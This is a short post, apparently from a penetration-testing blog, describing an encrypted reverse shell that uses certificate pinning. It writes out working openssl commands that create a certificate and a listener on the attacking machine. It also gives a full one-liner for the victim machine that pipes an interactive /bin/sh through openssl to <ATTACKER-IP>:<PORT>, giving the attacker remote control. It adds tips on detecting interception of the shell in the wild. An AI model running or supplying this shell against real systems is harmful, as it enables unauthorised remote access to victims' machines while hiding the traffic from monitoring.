Since my last article about reverse shells I made some progress. I added support for certificate pinning. This provides another layer of security. This makes it impossible for any interceptor to take over the shell with a MITM attack.
Create a certificate on the attacking machine:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
Start the listener on the attacking machine:
openssl s_server -quiet -key key.pem -cert cert.pem -port <PORT>
Start the reverse shell on the victim machine through any form of code execution. Be sure to upload the
cert.pem in a secure manner beforehand and make it accessible.
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -CAfile /tmp/cert.pem -verify_return_error -verify 1 -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s
-verify 1 checks the certificate chain to a depth of 1. So it checks only the one certificate provided in
cert.pem. This works for all self-signed certificates. If you use a longer certificate chain for whatever reason, you have to adjust this value accordingly.
-verify_return_error will terminate the connection, if the certificate chain cannot be verified. You can test this in your lab by generating a second key pair and certificate and connect with the “wrong” certificate. You will see that the connection comes in, but will be reset during the handshake due to the certificate error. You will be notified about that on the attacker machine, too. Experiencing this in the wild is a sign that somebody tried to intercept your shell.
If you encounter any problems or bugs, please feel free to contact me. I would like to make this reverse shell as secure and usable as possible.
Note: If you like to use Metasploit instead of a classic reverse shell you will love the Meterpreter Pranoid Mode.